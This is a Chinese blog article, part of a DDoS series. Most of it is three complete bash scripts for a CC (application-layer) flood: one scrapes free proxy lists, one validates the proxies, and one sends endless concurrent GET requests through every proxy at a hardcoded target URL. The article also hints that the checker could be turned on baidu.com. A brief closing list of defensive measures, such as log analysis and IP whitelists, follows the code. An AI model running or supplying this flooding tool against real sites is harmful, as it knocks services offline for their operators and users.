DDoS攻防战 (二) :CC攻击工具实现与防御理论


 

故上兵伐谋 其次伐交 其次伐兵 其下攻城 攻城之法 为不得已

知己知彼 百战不殆 不知彼而知己 一胜一负 不知彼不知己 每战必败

——孙子兵法·谋攻

 

  我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。

  第一步:获取大量可用代理ip:port列表

  网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。

1 grab_proxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare proxyListFile="proxy.txt" 5 declare tmpFile=`mktemp` 6 declare url 7 declare line 8 declare times 9 declare ip 10 declare port 11 declare i 12 declare j 13 declare mod 14 15 function quit() { 16 rm -f $tmpFile 17 exit "$1" 18 } 19 20 echo "get proxy list... please wait..." 21 22 if [ -r "$proxyListFile" ] 23 then 24 rm -f $proxyListFile 25 fi 26 27 touch $proxyListFile 28 29 for url in " http://www.youdaili.cn/Daili/guonei/2215.html " \ 30 " http://www.youdaili.cn/Daili/guonei/2215_2.html" \ 31 " http://www.youdaili.cn/Daili/guonei/2215_3.html" \ 32 " http://www.youdaili.cn/Daili/guonei/2215_4.html " 33 do 34 if GET "$url" > $tmpFile 35 then 36 grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \ 37 | sort -n | uniq | awk -F: '{ printf("%-15s %s \n",$1,$2); }' >> $proxyListFile 38 else 39 exec 1>&2 40 echo "error: get proxy list fail! chech the url:$url or the network" 41 quit 1 42 fi 43 done 44 45 echo "done. total `cat $proxyListFile | wc -l` proxy" 46 47 quit 0 48 #exit View Code

  参数:

  declare proxyListFile="proxy.txt"  #抓取到的代理ip port对所存放的文件路径

1 check_proxy.sh 1 #!/bin/bash 2 3 #get proxy list 4 declare check_threads=10 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i 10 declare j 11 declare mod 12 13 function quit() { 14 exit "$1" 15 } 16 17 #echo "start check proxy's functionality..." 18 19 #retarget the input file to stdin 20 if [ "$#" -gt "0" ] 21 then 22 exec 0<$1 23 else 24 exec 1>&2 25 echo "usage: bash $0 proxyListFile.txt" 26 echo "error: must have one input arg" 27 quit 1 28 fi 29 30 #check proxy's functionality 31 times=0 32 while read line 33 do 34 times=$((times+1)) 35 j=0 36 for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'` 37 do 38 j=$((j+1)) 39 if [ "$j" -eq 1 ] 40 then 41 ip=$i 42 else 43 port=$i 44 fi 45 done 46 #echo "times=$times ip=$ip port=$port" 47 # start test 48 if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null 49 then 50 echo "$ip $port" 51 echo ":) ip=$ip port=$port " &>/dev/null 52 else 53 echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/2 54 fi & 55 mod=$((times%check_threads)) 56 if [ "$mod" -eq "0" ] 57 then 58 wait 59 fi 60 done 61 62 #close the fd of input file 63 exec 0>&- 64 quit 0 65 #exit View Code

  参数:

  declare check_threads=10 #验证代理可用性时的并发数,看一下代码就会发现,我们使用的是GET http://baidu.com方法,所以,并发数请不要也太高 :) 除非你的目标就是......

:)

1 cc.sh
1 #!/bin/bash 2 3 declare target_url="http://eecs.cc:8080/" 4 declare get_timeout_sec=5 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i 10 declare j 11 12 function quit() { 13 exit "$1" 14 } 15 16 #retarget the input file to stdin 17 if ! [ "$#" -gt "0" ] 18 then 19 exec 1>&2 20 echo "challenge collapsar attack -- cc attack" 21 echo "usage: bash $0 proxyListFile.txt" 22 echo "error: must have one input arg" 23 quit 1 24 fi 25 26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command" 27 echo "command: target: $target_url" 28 echo "command: start challenge collapsar attack :) amazing..." 29 30 exec 0<$1 31 #start challenge collapsar attack 32 33 while true 34 do 35 times=0 36 exec 0<&- 37 exec 0<$1 38 while read line 39 do 40 times=$((times+1)) 41 j=0 42 for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'` 43 do 44 j=$((j+1)) 45 if [ "$j" -eq 1 ] 46 then 47 ip=$i 48 else 49 port=$i 50 fi 51 done 52 echo "times=$times ip=$ip port=$port" 53 #single soldier attack 54 if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 55 then 56 echo "soldier$times attack $target_url :)" 57 else 58 echo "soldier$times attack $target_url miss" 59 fi & 60 done 61 wait 62 done 63 64 #close the fd of input file 65 exec 0>&- 66 quit 0 67 #exit View Code

  防御者:

    1.应对当前系统了如指掌,如系统最高负载、最高数据处理能力,以及系统防御体系的强项与弱点
    2.历史日志的保存、分析
    3.对当前系统进行严格安全审计
    4.上报公安相关部分,努力追溯攻击者
    5.网站,能静态,就一定不要动态,可采取定时从主数据库生成静态页面的方式,对需要访问主数据库的服务使用验证机制

    6.防御者应能从全局的角度,迅速及时地发现系统正在处于什么程度的攻击、何种攻击,在平时,应该建立起攻击应急策略,规范化操作,免得在急中犯下低级错误

  对历史日志的分析这时将会非常重要,数据可视化与统计学的方法将会很有益处:

    1.分析每个页面的平均访问频率

    2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率

    3.得到对访问异常页面的访问异常ip列表

    4.对日志分析得到忠实用户IP白名单

    5.一般一个页面会关联多个资源,一次对于这样的页面访问往往会同时增加多个资源的访问数,而攻击程序一般不会加载这些它不感兴趣的资源,所以,这也是一个非常好的分析突破点

 

  本文主要讲述了DDoS攻击之一的CC攻击工具实现,以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章,笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块,以对应于上述防御状态机中的防火墙单元,它实现了自主地动态内存管理,使用hash表管理ip列表,并可以自定义hash表的modular。

  如有问题或者建议,欢迎留言讨论 :)

   

附录:

  《DDoS攻防战 (一) : 概述》 

 

相关内容